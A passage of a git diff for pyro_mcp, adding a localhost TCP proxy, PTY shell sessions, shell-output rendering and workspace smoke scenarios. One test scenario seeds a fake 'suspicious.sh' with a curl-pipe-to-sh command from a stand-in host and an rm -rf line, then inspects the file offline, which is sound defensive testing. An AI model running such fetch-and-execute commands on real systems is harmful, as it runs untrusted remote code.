argparse.ArgumentParser(description="Run a localhost-only TCP port proxy.") + parser.add_argument("--listen-host", required=True) + parser.add_argument("--listen-port", type=int, required=True) + parser.add_argument("--target-host", required=True) + parser.add_argument("--target-port", type=int, required=True) + parser.add_argument("--ready-file", required=True) + return parser + + +def main(argv: list[str] | None = None) -> int: + args = _build_parser().parse_args(argv) + ready_file = Path(args.ready_file) + ready_file.parent.mkdir(parents=True, exist_ok=True) + server = _ProxyServer( + (str(args.listen_host), int(args.listen_port)), + (str(args.target_host), int(args.target_port)), + ) + actual_host = str(server.server_address[0]) + actual_port = int(server.server_address[1]) + ready_file.write_text( + json.dumps( + { + "host": actual_host, + "host_port": actual_port, + "target_host": args.target_host, + "target_port": int(args.target_port), + "protocol": "tcp", + }, + indent=2, + sort_keys=True, + ), + encoding="utf-8", + ) + + def _shutdown(_: int, __: object) -> None: + threading.Thread(target=server.shutdown, daemon=True).start() + + signal.signal(signal.SIGTERM, _shutdown) + signal.signal(signal.SIGINT, _shutdown) + try: + server.serve_forever(poll_interval=0.2) + finally: + server.server_close() + return 0 + + +if __name__ == "__main__": + raise SystemExit(main(sys.argv[1:])) diff --git a/src/pyro_mcp/workspace_shell_output.py b/src/pyro_mcp/workspace_shell_output.py new file mode 100644 index 0000000..94dacc6 --- /dev/null +++ b/src/pyro_mcp/workspace_shell_output.py @@ -0,0 +1,116 @@ +"""Helpers for chat-friendly workspace shell output rendering.""" + +from __future__ import annotations + + +def _apply_csi( + final: str, + parameters: str, + line: list[str], + cursor: int, + lines: list[str], +) -> tuple[list[str], int, list[str]]: + if final == "K": + mode = parameters or "0" + if mode in {"0", ""}: + del line[cursor:] + elif mode == "1": + for index in range(min(cursor, len(line))): + line[index] = " " + elif mode == "2": + line.clear() + cursor = 0 + elif final == "J": + mode = parameters or "0" + if mode in {"2", "3"}: + lines.clear() + line.clear() + cursor = 0 + return line, cursor, lines + + +def _consume_escape_sequence( + text: str, + index: int, + line: list[str], + cursor: int, + lines: list[str], +) -> tuple[int, list[str], int, list[str]]: + if index + 1 >= len(text): + return len(text), line, cursor, lines + leader = text[index + 1] + if leader == "[": + cursor_index = index + 2 + while cursor_index < len(text): + char = text[cursor_index] + if "\x40" <= char <= "\x7e": + parameters = text[index + 2 : cursor_index] + line, cursor, lines = _apply_csi(char, parameters, line, cursor, lines) + return cursor_index + 1, line, cursor, lines + cursor_index += 1 + return len(text), line, cursor, lines + if leader in {"]", "P", "_", "^"}: + cursor_index = index + 2 + while cursor_index < len(text): + char = text[cursor_index] + if char == "\x07": + return cursor_index + 1, line, cursor, lines + if char == "\x1b" and cursor_index + 1 < len(text) and text[cursor_index + 1] == "\\": + return cursor_index + 2, line, cursor, lines + cursor_index += 1 + return len(text), line, cursor, lines + if leader == "O": + return min(index + 3, len(text)), line, cursor, lines + return min(index + 2, len(text)), line, cursor, lines + + +def render_plain_shell_output(raw_text: str) -> str: + """Render PTY output into chat-friendly plain text.""" + lines: list[str] = [] + line: list[str] = [] + cursor = 0 + ended_with_newline = False + index = 0 + while index < len(raw_text): + char = raw_text[index] + if char == "\x1b": + index, line, cursor, lines = _consume_escape_sequence( + raw_text, + index, + line, + cursor, + lines, + ) + ended_with_newline = False + continue + if char == "\r": + cursor = 0 + ended_with_newline = False + index += 1 + continue + if char == "\n": + lines.append("".join(line)) + line = [] + cursor = 0 + ended_with_newline = True + index += 1 + continue + if char == "\b": + if cursor > 0: + cursor -= 1 + if cursor < len(line): + del line[cursor] + ended_with_newline = False + index += 1 + continue + if char == "\t" or (ord(char) >= 32 and ord(char) != 127): + if cursor < len(line): + line[cursor] = char + else: + line.append(char) + cursor += 1 + ended_with_newline = False + index += 1 + if line or ended_with_newline: + lines.append("".join(line)) + return "\n".join(lines) diff --git a/src/pyro_mcp/workspace_shells.py b/src/pyro_mcp/workspace_shells.py new file mode 100644 index 0000000..e439042 --- /dev/null +++ b/src/pyro_mcp/workspace_shells.py @@ -0,0 +1,360 @@ +"""Local PTY-backed shell sessions for the mock workspace backend.""" + +from __future__ import annotations + +import codecs +import fcntl +import os +import shlex +import shutil +import signal +import struct +import subprocess +import termios +import threading +import time +from pathlib import Path +from typing import IO, Literal + +ShellState = Literal["running", "stopped"] + +SHELL_SIGNAL_NAMES = ("HUP", "INT", "TERM", "KILL") +_SHELL_SIGNAL_MAP = { + "HUP": signal.SIGHUP, + "INT": signal.SIGINT, + "TERM": signal.SIGTERM, + "KILL": signal.SIGKILL, +} + +_LOCAL_SHELLS: dict[str, "LocalShellSession"] = {} +_LOCAL_SHELLS_LOCK = threading.Lock() + + +def _shell_argv(*, interactive: bool) -> list[str]: + shell_program = shutil.which("bash") or "/bin/sh" + argv = [shell_program] + if shell_program.endswith("bash"): + argv.extend(["--noprofile", "--norc"]) + if interactive: + argv.append("-i") + return argv + + +def _redact_text(text: str, redact_values: list[str]) -> str: + redacted = text + for secret_value in sorted( + {item for item in redact_values if item != ""}, + key=len, + reverse=True, + ): + redacted = redacted.replace(secret_value, "[REDACTED]") + return redacted + + +def _set_pty_size(fd: int, rows: int, cols: int) -> None: + winsize = struct.pack("HHHH", rows, cols, 0, 0) + fcntl.ioctl(fd, termios.TIOCSWINSZ, winsize) + + +class LocalShellSession: + """Host-local interactive shell used by the mock backend.""" + + def __init__( + self, + *, + shell_id: str, + cwd: Path, + display_cwd: str, + cols: int, + rows: int, + env_overrides: dict[str, str] | None = None, + redact_values: list[str] | None = None, + ) -> None: + self.shell_id = shell_id + self.cwd = display_cwd + self.cols = cols + self.rows = rows + self.started_at = time.time() + self.ended_at: float | None = None + self.exit_code: int | None = None + self.state: ShellState = "running" + self.pid: int | None = None + self._lock = threading.RLock() + self._output = "" + self._master_fd: int | None = None + self._input_pipe: IO[bytes] | None = None + self._output_pipe: IO[bytes] | None = None + self._reader: threading.Thread | None = None + self._waiter: threading.Thread | None = None + self._decoder = codecs.getincrementaldecoder("utf-8")("replace") + self._redact_values = list(redact_values or []) + env = os.environ.copy() + env.update( + { + "TERM": env.get("TERM", "xterm-256color"), + "PS1": "pyro$ ", + "PROMPT_COMMAND": "", + } + ) + if env_overrides is not None: + env.update(env_overrides) + + process: subprocess.Popen[bytes] + try: + master_fd, slave_fd = os.openpty() + except OSError: + process = subprocess.Popen( # noqa: S603 + _shell_argv(interactive=False), + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + cwd=str(cwd), + env=env, + text=False, + close_fds=True, + preexec_fn=os.setsid, + ) + self._input_pipe = process.stdin + self._output_pipe = process.stdout + else: + try: + _set_pty_size(slave_fd, rows, cols) + process = subprocess.Popen( # noqa: S603 + _shell_argv(interactive=True), + stdin=slave_fd, + stdout=slave_fd, + stderr=slave_fd, + cwd=str(cwd), + env=env, + text=False, + close_fds=True, + preexec_fn=os.setsid, + ) + except Exception: + os.close(master_fd) + raise + finally: + os.close(slave_fd) + self._master_fd = master_fd + + self._process = process + self.pid = process.pid + self._reader = threading.Thread(target=self._reader_loop, daemon=True) + self._waiter = threading.Thread(target=self._waiter_loop, daemon=True) + self._reader.start() + self._waiter.start() + + def summary(self) -> dict[str, object]: + with self._lock: + return { + "shell_id": self.shell_id, + "cwd": self.cwd, + "cols": self.cols, + "rows": self.rows, + "state": self.state, + "started_at": self.started_at, + "ended_at": self.ended_at, + "exit_code": self.exit_code, + "pid": self.pid, + } + + def read(self, *, cursor: int, max_chars: int) -> dict[str, object]: + with self._lock: + redacted_output = _redact_text(self._output, self._redact_values) + clamped_cursor = min(max(cursor, 0), len(redacted_output)) + output = redacted_output[clamped_cursor : clamped_cursor + max_chars] + next_cursor = clamped_cursor + len(output) + payload = self.summary() + payload.update( + { + "cursor": clamped_cursor, + "next_cursor": next_cursor, + "output": output, + "truncated": next_cursor < len(redacted_output), + } + ) + return payload + + def write(self, text: str, *, append_newline: bool) -> dict[str, object]: + if self._process.poll() is not None: + self._refresh_process_state() + with self._lock: + if self.state != "running": + raise RuntimeError(f"shell {self.shell_id} is not running") + master_fd = self._master_fd + input_pipe = self._input_pipe + payload = text + ("\n" if append_newline else "") + try: + if master_fd is not None: + os.write(master_fd, payload.encode("utf-8")) + else: + if input_pipe is None: + raise RuntimeError(f"shell {self.shell_id} transport is unavailable") + input_pipe.write(payload.encode("utf-8")) + input_pipe.flush() + except OSError as exc: + self._refresh_process_state() + raise RuntimeError(f"failed to write to shell {self.shell_id}: {exc}") from exc + result = self.summary() + result.update({"input_length": len(text), "append_newline": append_newline}) + return result + + def send_signal(self, signal_name: str) -> dict[str, object]: + signal_name = signal_name.upper() + signum = _SHELL_SIGNAL_MAP.get(signal_name) + if signum is None: + raise ValueError(f"unsupported shell signal: {signal_name}") + if self._process.poll() is not None: + self._refresh_process_state() + with self._lock: + if self.state != "running" or self.pid is None: + raise RuntimeError(f"shell {self.shell_id} is not running") + pid = self.pid + try: + os.killpg(pid, signum) + except ProcessLookupError as exc: + self._refresh_process_state() + raise RuntimeError(f"shell {self.shell_id} is not running") from exc + result = self.summary() + result["signal"] = signal_name + return result + + def close(self) -> dict[str, object]: + if self._process.poll() is None and self.pid is not None: + try: + os.killpg(self.pid, signal.SIGHUP) + except ProcessLookupError: + pass + try: + self._process.wait(timeout=5) + except subprocess.TimeoutExpired: + try: + os.killpg(self.pid, signal.SIGKILL) + except ProcessLookupError: + pass + self._process.wait(timeout=5) + else: + self._refresh_process_state() + self._close_master_fd() + if self._reader is not None: + self._reader.join(timeout=1) + if self._waiter is not None: + self._waiter.join(timeout=1) + result = self.summary() + result["closed"] = True + return result + + def _reader_loop(self) -> None: + master_fd = self._master_fd + output_pipe = self._output_pipe + if master_fd is None and output_pipe is None: + return + while True: + try: + if master_fd is not None: + chunk = os.read(master_fd, 65536) + else: + if output_pipe is None: + break + chunk = os.read(output_pipe.fileno(), 65536) + except OSError: + break + if chunk == b"": + break + decoded = self._decoder.decode(chunk) + if decoded: + with self._lock: + self._output += decoded + decoded = self._decoder.decode(b"", final=True) + if decoded: + with self._lock: + self._output += decoded + + def _waiter_loop(self) -> None: + exit_code = self._process.wait() + with self._lock: + self.state = "stopped" + self.exit_code = exit_code + self.ended_at = time.time() + + def _refresh_process_state(self) -> None: + exit_code = self._process.poll() + if exit_code is None: + return + with self._lock: + if self.state == "running": + self.state = "stopped" + self.exit_code = exit_code + self.ended_at = time.time() + + def _close_master_fd(self) -> None: + with self._lock: + master_fd = self._master_fd + self._master_fd = None + input_pipe = self._input_pipe + self._input_pipe = None + output_pipe = self._output_pipe + self._output_pipe = None + if input_pipe is not None: + input_pipe.close() + if output_pipe is not None: + output_pipe.close() + if master_fd is None: + return + try: + os.close(master_fd) + except OSError: + pass + + +def create_local_shell( + *, + workspace_id: str, + shell_id: str, + cwd: Path, + display_cwd: str, + cols: int, + rows: int, + env_overrides: dict[str, str] | None = None, + redact_values: list[str] | None = None, +) -> LocalShellSession: + session_key = f"{workspace_id}:{shell_id}" + with _LOCAL_SHELLS_LOCK: + if session_key in _LOCAL_SHELLS: + raise RuntimeError(f"shell {shell_id} already exists in workspace {workspace_id}") + session = LocalShellSession( + shell_id=shell_id, + cwd=cwd, + display_cwd=display_cwd, + cols=cols, + rows=rows, + env_overrides=env_overrides, + redact_values=redact_values, + ) + _LOCAL_SHELLS[session_key] = session + return session + + +def get_local_shell(*, workspace_id: str, shell_id: str) -> LocalShellSession: + session_key = f"{workspace_id}:{shell_id}" + with _LOCAL_SHELLS_LOCK: + try: + return _LOCAL_SHELLS[session_key] + except KeyError as exc: + raise ValueError( + f"shell {shell_id!r} does not exist in workspace {workspace_id!r}" + ) from exc + + +def remove_local_shell(*, workspace_id: str, shell_id: str) -> LocalShellSession | None: + session_key = f"{workspace_id}:{shell_id}" + with _LOCAL_SHELLS_LOCK: + return _LOCAL_SHELLS.pop(session_key, None) + + +def shell_signal_names() -> tuple[str, ...]: + return SHELL_SIGNAL_NAMES + + +def shell_signal_arg_help() -> str: + return ", ".join(shlex.quote(name) for name in SHELL_SIGNAL_NAMES) diff --git a/src/pyro_mcp/workspace_use_case_smokes.py b/src/pyro_mcp/workspace_use_case_smokes.py new file mode 100644 index 0000000..b69a90d --- /dev/null +++ b/src/pyro_mcp/workspace_use_case_smokes.py @@ -0,0 +1,541 @@ +"""Canonical workspace use-case recipes and smoke scenarios.""" + +from __future__ import annotations + +import argparse +import asyncio +import tempfile +import time +from dataclasses import dataclass +from pathlib import Path +from typing import Callable, Final, Literal + +from pyro_mcp.api import Pyro + +DEFAULT_USE_CASE_ENVIRONMENT: Final[str] = "debian:12" +USE_CASE_SUITE_LABEL: Final[str] = "workspace-use-case-smoke" +USE_CASE_SCENARIOS: Final[tuple[str, ...]] = ( + "cold-start-validation", + "repro-fix-loop", + "parallel-workspaces", + "untrusted-inspection", + "review-eval", +) +USE_CASE_ALL_SCENARIO: Final[str] = "all" +USE_CASE_CHOICES: Final[tuple[str, ...]] = USE_CASE_SCENARIOS + (USE_CASE_ALL_SCENARIO,) + + +@dataclass(frozen=True) +class WorkspaceUseCaseRecipe: + scenario: str + title: str + mode: Literal["repro-fix", "inspect", "cold-start", "review-eval"] + smoke_target: str + doc_path: str + summary: str + + +WORKSPACE_USE_CASE_RECIPES: Final[tuple[WorkspaceUseCaseRecipe, ...]] = ( + WorkspaceUseCaseRecipe( + scenario="cold-start-validation", + title="Cold-Start Repo Validation", + mode="cold-start", + smoke_target="smoke-cold-start-validation", + doc_path="docs/use-cases/cold-start-repo-validation.md", + summary=( + "Seed a small repo, validate it, run one long-lived service, probe it, " + "and export a report." + ), + ), + WorkspaceUseCaseRecipe( + scenario="repro-fix-loop", + title="Repro Plus Fix Loop", + mode="repro-fix", + smoke_target="smoke-repro-fix-loop", + doc_path="docs/use-cases/repro-fix-loop.md", + summary=( + "Reproduce a failure, patch it with model-native file ops, rerun, diff, " + "export, and reset." + ), + ), + WorkspaceUseCaseRecipe( + scenario="parallel-workspaces", + title="Parallel Isolated Workspaces", + mode="repro-fix", + smoke_target="smoke-parallel-workspaces", + doc_path="docs/use-cases/parallel-workspaces.md", + summary=( + "Create and manage multiple named workspaces, mutate them independently, " + "and verify isolation." + ), + ), + WorkspaceUseCaseRecipe( + scenario="untrusted-inspection", + title="Unsafe Or Untrusted Code Inspection", + mode="inspect", + smoke_target="smoke-untrusted-inspection", + doc_path="docs/use-cases/untrusted-inspection.md", + summary=( + "Inspect suspicious files offline-by-default, generate a report, and " + "export only explicit results." + ), + ), + WorkspaceUseCaseRecipe( + scenario="review-eval", + title="Review And Evaluation Workflows", + mode="review-eval", + smoke_target="smoke-review-eval", + doc_path="docs/use-cases/review-eval-workflows.md", + summary=( + "Walk a checklist through a PTY shell, run an evaluation, export the " + "report, and reset to a checkpoint." + ), + ), +) + +_RECIPE_BY_SCENARIO: Final[dict[str, WorkspaceUseCaseRecipe]] = { + recipe.scenario: recipe for recipe in WORKSPACE_USE_CASE_RECIPES +} +ScenarioRunner = Callable[..., None] + + +def _write_text(path: Path, text: str) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(text, encoding="utf-8") + + +def _log(message: str) -> None: + print(f"[smoke] {message}", flush=True) + + +def _extract_structured_tool_result(raw_result: object) -> dict[str, object]: + if not isinstance(raw_result, tuple) or len(raw_result) != 2: + raise TypeError("unexpected MCP tool result shape") + _, structured = raw_result + if not isinstance(structured, dict): + raise TypeError("expected structured dictionary result") + return structured + + +def _create_workspace( + pyro: Pyro, + *, + environment: str, + seed_path: Path, + name: str, + labels: dict[str, str], + network_policy: str = "off", +) -> str: + created = pyro.create_workspace( + environment=environment, + seed_path=seed_path, + name=name, + labels=labels, + network_policy=network_policy, + ) + return str(created["workspace_id"]) + + +def _create_project_aware_workspace( + pyro: Pyro, + *, + environment: str, + project_path: Path, + mode: Literal["repro-fix", "cold-start"], + name: str, + labels: dict[str, str], +) -> dict[str, object]: + async def _run() -> dict[str, object]: + server = pyro.create_server(mode=mode, project_path=project_path) + return _extract_structured_tool_result( + await server.call_tool( + "workspace_create", + { + "environment": environment, + "name": name, + "labels": labels, + }, + ) + ) + + return asyncio.run(_run()) + + +def _safe_delete_workspace(pyro: Pyro, workspace_id: str | None) -> None: + if workspace_id is None: + return + try: + pyro.delete_workspace(workspace_id) + except Exception: + return + + +def _scenario_cold_start_validation(pyro: Pyro, *, root: Path, environment: str) -> None: + seed_dir = root / "seed" + export_dir = root / "export" + _write_text( + seed_dir / "README.md", + "# cold-start validation\n\nRun `sh validate.sh` and keep `sh serve.sh` alive.\n", + ) + _write_text( + seed_dir / "validate.sh", + "#!/bin/sh\n" + "set -eu\n" + "printf '%s\\n' 'validation=pass' > validation-report.txt\n" + "printf '%s\\n' 'validated'\n", + ) + _write_text( + seed_dir / "serve.sh", + "#!/bin/sh\n" + "set -eu\n" + "printf '%s\\n' 'service started'\n" + "printf '%s\\n' 'service=ready' > service-state.txt\n" + "touch .app-ready\n" + "while true; do sleep 60; done\n", + ) + workspace_id: str | None = None + try: + created = _create_project_aware_workspace( + pyro, + environment=environment, + project_path=seed_dir, + mode="cold-start", + name="cold-start-validation", + labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "cold-start-validation"}, + ) + workspace_id = str(created["workspace_id"]) + _log(f"cold-start-validation workspace_id={workspace_id}") + workspace_seed = created["workspace_seed"] + assert isinstance(workspace_seed, dict), created + assert workspace_seed["origin_kind"] == "project_path", created + validation = pyro.exec_workspace(workspace_id, command="sh validate.sh") + assert int(validation["exit_code"]) == 0, validation + assert str(validation["stdout"]) == "validated\n", validation + assert str(validation["execution_mode"]) == "guest_vsock", validation + service = pyro.start_service( + workspace_id, + "app", + command="sh serve.sh", + readiness={"type": "file", "path": ".app-ready"}, + ) + assert str(service["state"]) == "running", service + probe = pyro.exec_workspace( + workspace_id, + command="sh -lc 'test -f .app-ready && cat service-state.txt'", + ) + assert probe["stdout"] == "service=ready\n", probe + logs = pyro.logs_service(workspace_id, "app", tail_lines=20) + assert "service started" in str(logs["stdout"]), logs + export_path = export_dir / "validation-report.txt" + pyro.export_workspace(workspace_id, "validation-report.txt", output_path=export_path) + assert export_path.read_text(encoding="utf-8") == "validation=pass\n" + stopped = pyro.stop_service(workspace_id, "app") + assert str(stopped["state"]) == "stopped", stopped + finally: + _safe_delete_workspace(pyro, workspace_id) + + +def _scenario_repro_fix_loop(pyro: Pyro, *, root: Path, environment: str) -> None: + seed_dir = root / "seed" + export_dir = root / "export" + patch_path = root / "fix.patch" + _write_text(seed_dir / "message.txt", "broken\n") + _write_text( + seed_dir / "check.sh", + "#!/bin/sh\n" + "set -eu\n" + "value=$(cat message.txt)\n" + "[ \"$value\" = \"fixed\" ] || {\n" + " printf 'expected fixed got %s\\n' \"$value\" >&2\n" + " exit 1\n" + "}\n" + "printf '%s\\n' \"$value\"\n", + ) + _write_text( + patch_path, + "--- a/message.txt\n" + "+++ b/message.txt\n" + "@@ -1 +1 @@\n" + "-broken\n" + "+fixed\n", + ) + workspace_id: str | None = None + try: + created = _create_project_aware_workspace( + pyro, + environment=environment, + project_path=seed_dir, + mode="repro-fix", + name="repro-fix-loop", + labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "repro-fix-loop"}, + ) + workspace_id = str(created["workspace_id"]) + _log(f"repro-fix-loop workspace_id={workspace_id}") + workspace_seed = created["workspace_seed"] + assert isinstance(workspace_seed, dict), created + assert workspace_seed["origin_kind"] == "project_path", created + assert workspace_seed["origin_ref"] == str(seed_dir.resolve()), created + initial_read = pyro.read_workspace_file(workspace_id, "message.txt") + assert str(initial_read["content"]) == "broken\n", initial_read + failing = pyro.exec_workspace(workspace_id, command="sh check.sh") + assert int(failing["exit_code"]) != 0, failing + patch_result = pyro.apply_workspace_patch( + workspace_id, + patch=patch_path.read_text(encoding="utf-8"), + ) + assert bool(patch_result["changed"]) is True, patch_result + passing = pyro.exec_workspace(workspace_id, command="sh check.sh") + assert int(passing["exit_code"]) == 0, passing + assert str(passing["stdout"]) == "fixed\n", passing + diff = pyro.diff_workspace(workspace_id) + assert bool(diff["changed"]) is True, diff + export_path = export_dir / "message.txt" + pyro.export_workspace(workspace_id, "message.txt", output_path=export_path) + assert export_path.read_text(encoding="utf-8") == "fixed\n" + reset = pyro.reset_workspace(workspace_id) + assert int(reset["reset_count"]) == 1, reset + clean = pyro.diff_workspace(workspace_id) + assert bool(clean["changed"]) is False, clean + finally: + _safe_delete_workspace(pyro, workspace_id) + + +def _scenario_parallel_workspaces(pyro: Pyro, *, root: Path, environment: str) -> None: + seed_dir = root / "seed" + _write_text(seed_dir / "note.txt", "shared\n") + workspace_ids: list[str] = [] + try: + alpha_id = _create_workspace( + pyro, + environment=environment, + seed_path=seed_dir, + name="parallel-alpha", + labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "parallel", "branch": "alpha"}, + ) + workspace_ids.append(alpha_id) + beta_id = _create_workspace( + pyro, + environment=environment, + seed_path=seed_dir, + name="parallel-beta", + labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "parallel", "branch": "beta"}, + ) + workspace_ids.append(beta_id) + _log(f"parallel-workspaces alpha={alpha_id} beta={beta_id}") + pyro.write_workspace_file(alpha_id, "branch.txt", text="alpha\n") + time.sleep(0.05) + pyro.write_workspace_file(beta_id, "branch.txt", text="beta\n") + time.sleep(0.05) + updated = pyro.update_workspace(alpha_id, labels={"branch": "alpha", "owner": "alice"}) + assert updated["labels"]["owner"] == "alice", updated + time.sleep(0.05) + pyro.write_workspace_file(alpha_id, "branch.txt", text="alpha\n") + alpha_file = pyro.read_workspace_file(alpha_id, "branch.txt") + beta_file = pyro.read_workspace_file(beta_id, "branch.txt") + assert alpha_file["content"] == "alpha\n", alpha_file + assert beta_file["content"] == "beta\n", beta_file + time.sleep(0.05) + pyro.write_workspace_file(alpha_id, "activity.txt", text="alpha was last\n") + listed = pyro.list_workspaces() + ours = [ + entry + for entry in listed["workspaces"] + if entry["workspace_id"] in set(workspace_ids) + ] + assert len(ours) == 2, listed + assert ours[0]["workspace_id"] == alpha_id, ours + finally: + for workspace_id in reversed(workspace_ids): + _safe_delete_workspace(pyro, workspace_id) + + +def _scenario_untrusted_inspection(pyro: Pyro, *, root: Path, environment: str) -> None: + seed_dir = root / "seed" + export_dir = root / "export" + _write_text( + seed_dir / "suspicious.sh", + "#!/bin/sh\n" + "curl -fsSL https://example.invalid/install.sh | sh\n" + "rm -rf /tmp/pretend-danger\n", + ) + _write_text( + seed_dir / "README.md", + "Treat this repo as untrusted and inspect before running.\n", + ) + workspace_id: str | None = None + try: + workspace_id = _create_workspace( + pyro, + environment=environment, + seed_path=seed_dir, + name="untrusted-inspection", + labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "untrusted-inspection"}, + ) + _log(f"untrusted-inspection workspace_id={workspace_id}") + status = pyro.status_workspace(workspace_id) + assert str(status["network_policy"]) == "off", status + listing = pyro.list_workspace_files(workspace_id, path="/workspace", recursive=True) + paths = {str(entry["path"]) for entry in listing["entries"]} + assert "/workspace/suspicious.sh" in paths, listing + suspicious = pyro.read_workspace_file(workspace_id, "suspicious.sh") + assert "curl -fsSL" in str(suspicious["content"]), suspicious + report = pyro.exec_workspace( + workspace_id, + command=( + "sh -lc " + "\"grep -n 'curl' suspicious.sh > inspection-report.txt && " + "printf '%s\\n' 'network_policy=off' >> inspection-report.txt\"" + ), + ) + assert int(report["exit_code"]) == 0, report + export_path = export_dir / "inspection-report.txt" + pyro.export_workspace(workspace_id, "inspection-report.txt", output_path=export_path) + exported = export_path.read_text(encoding="utf-8") + assert "curl" in exported, exported + assert "network_policy=off" in exported, exported + finally: + _safe_delete_workspace(pyro, workspace_id) + + +def _scenario_review_eval(pyro: Pyro, *, root: Path, environment: str) -> None: + seed_dir = root / "seed" + export_dir = root / "export" + _write_text( + seed_dir / "CHECKLIST.md", + "# Review checklist\n\n- confirm artifact state\n- export the evaluation report\n", + ) + _write_text(seed_dir / "artifact.txt", "PASS\n") + _write_text( + seed_dir / "review.sh", + "#!/bin/sh\n" + "set -eu\n" + "if grep -qx 'PASS' artifact.txt; then\n" + " printf '%s\\n' 'review=pass' > review-report.txt\n" + " printf '%s\\n' 'review passed'\n" + "else\n" + " printf '%s\\n' 'review=fail' > review-report.txt\n" + " printf '%s\\n' 'review failed' >&2\n" + " exit 1\n" + "fi\n", + ) + workspace_id: str | None = None + shell_id: str | None = None + try: + workspace_id = _create_workspace( + pyro, + environment=environment, + seed_path=seed_dir, + name="review-eval", + labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "review-eval"}, + ) + _log(f"review-eval workspace_id={workspace_id}") + baseline_snapshot = pyro.create_snapshot(workspace_id, "pre-review") + assert baseline_snapshot["snapshot"]["snapshot_name"] == "pre-review", baseline_snapshot + shell = pyro.open_shell(workspace_id) + shell_id = str(shell["shell_id"]) + initial = pyro.read_shell( + workspace_id, + shell_id, + cursor=0, + plain=True, + wait_for_idle_ms=300, + ) + pyro.write_shell(workspace_id, shell_id, input="cat CHECKLIST.md") + read = pyro.read_shell( + workspace_id, + shell_id, + cursor=int(initial["next_cursor"]), + plain=True, + wait_for_idle_ms=300, + ) + assert "Review checklist" in str(read["output"]), read + closed = pyro.close_shell(workspace_id, shell_id) + assert bool(closed["closed"]) is True, closed + shell_id = None + evaluation = pyro.exec_workspace(workspace_id, command="sh review.sh") + assert int(evaluation["exit_code"]) == 0, evaluation + pyro.write_workspace_file(workspace_id, "artifact.txt", text="FAIL\n") + reset = pyro.reset_workspace(workspace_id, snapshot="pre-review") + assert reset["workspace_reset"]["snapshot_name"] == "pre-review", reset + artifact = pyro.read_workspace_file(workspace_id, "artifact.txt") + assert artifact["content"] == "PASS\n", artifact + export_path = export_dir / "review-report.txt" + rerun = pyro.exec_workspace(workspace_id, command="sh review.sh") + assert int(rerun["exit_code"]) == 0, rerun + pyro.export_workspace(workspace_id, "review-report.txt", output_path=export_path) + assert export_path.read_text(encoding="utf-8") == "review=pass\n" + summary = pyro.summarize_workspace(workspace_id) + assert summary["workspace_id"] == workspace_id, summary + assert summary["changes"]["available"] is True, summary + assert summary["artifacts"]["exports"], summary + assert summary["snapshots"]["named_count"] >= 1, summary + finally: + if shell_id is not None and workspace_id is not None: + try: + pyro.close_shell(workspace_id, shell_id) + except Exception: + pass + _safe_delete_workspace(pyro, workspace_id) + + +_SCENARIO_RUNNERS: Final[dict[str, ScenarioRunner]] = { + "cold-start-validation": _scenario_cold_start_validation, + "repro-fix-loop": _scenario_repro_fix_loop, + "parallel-workspaces": _scenario_parallel_workspaces, + "untrusted-inspection": _scenario_untrusted_inspection, + "review-eval": _scenario_review_eval, +} + + +def run_workspace_use_case_scenario( + scenario: str, + *, + environment: str = DEFAULT_USE_CASE_ENVIRONMENT, +) -> None: + if scenario not in USE_CASE_CHOICES: + expected = ", ".join(USE_CASE_CHOICES) + raise ValueError(f"unknown use-case scenario {scenario!r}; expected one of: {expected}") + + pyro = Pyro() + with tempfile.TemporaryDirectory(prefix="pyro-workspace-use-case-") as temp_dir: + root = Path(temp_dir) + scenario_names = USE_CASE_SCENARIOS if scenario == USE_CASE_ALL_SCENARIO else (scenario,) + for scenario_name in scenario_names: + recipe = _RECIPE_BY_SCENARIO[scenario_name] + _log(f"starting {recipe.scenario} ({recipe.title}) mode={recipe.mode}") + scenario_root = root / scenario_name + scenario_root.mkdir(parents=True, exist_ok=True) + runner = _SCENARIO_RUNNERS[scenario_name] + runner(pyro, root=scenario_root, environment=environment) + _log(f"completed {recipe.scenario}") + + +def build_arg_parser() -> argparse.ArgumentParser: + parser = argparse.ArgumentParser( + prog="workspace_use_case_smoke", + description="Run real guest-backed workspace use-case smoke scenarios.", + ) + parser.add_argument( + "--scenario", + choices=USE_CASE_CHOICES, + default=USE_CASE_ALL_SCENARIO, + help="Use-case scenario to run. Defaults to all scenarios.", + ) + parser.add_argument( + "--environment", + default=DEFAULT_USE_CASE_ENVIRONMENT, + help="Curated environment to use for the workspace scenarios.", + ) + return parser + + +def main() -> None: + args = build_arg_parser().parse_args() + run_workspace_use_case_scenario( + str(args.scenario), + environment=str(args.environment), + ) + + +if __name__ == "__main__": + main() diff --git a/tests/test_api.py b/tests/test_api.py index a58d153..56b461f 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -1,14 +1,49 @@ from __future__ import annotations import asyncio +import subprocess +import time from pathlib import Path from typing import Any, cast +import pytest + from pyro_mcp.api import Pyro +from pyro_mcp.contract import ( + PUBLIC_MCP_COLD_START_MODE_TOOLS, + PUBLIC_MCP_INSPECT_MODE_TOOLS, + PUBLIC_MCP_REPRO_FIX_MODE_TOOLS, + PUBLIC_MCP_REVIEW_EVAL_MODE_TOOLS, + PUBLIC_MCP_VM_RUN_PROFILE_TOOLS, + PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS, + PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS, +) from pyro_mcp.vm_manager import VmManager from pyro_mcp.vm_network import TapNetworkManager +def _git(repo: Path, *args: str) -> str: + result = subprocess.run( # noqa: S603 + ["git", "-c", "commit.gpgsign=false", *args], + cwd=repo, + check=True, + capture_output=True, + text=True, + ) + return result.stdout.strip() + + +def _make_repo(root: Path, *, content: str = "hello\n") -> Path: + root.mkdir() + _git(root, "init") + _git(root, "config", "user.name", "Pyro Tests") + _git(root, "config", "user.email", "pyro-tests@example.com") + (root / "note.txt").write_text(content, encoding="utf-8") + _git(root, "add", "note.txt") + _git(root, "commit", "-m", "init") + return root + + def test_pyro_run_in_vm_delegates_to_manager(tmp_path: Path) -> None: pyro = Pyro( manager=VmManager( @@ -25,12 +60,63 @@ def test_pyro_run_in_vm_delegates_to_manager(tmp_path: Path) -> None: timeout_seconds=30, ttl_seconds=600, network=False, + allow_host_compat=True, ) assert 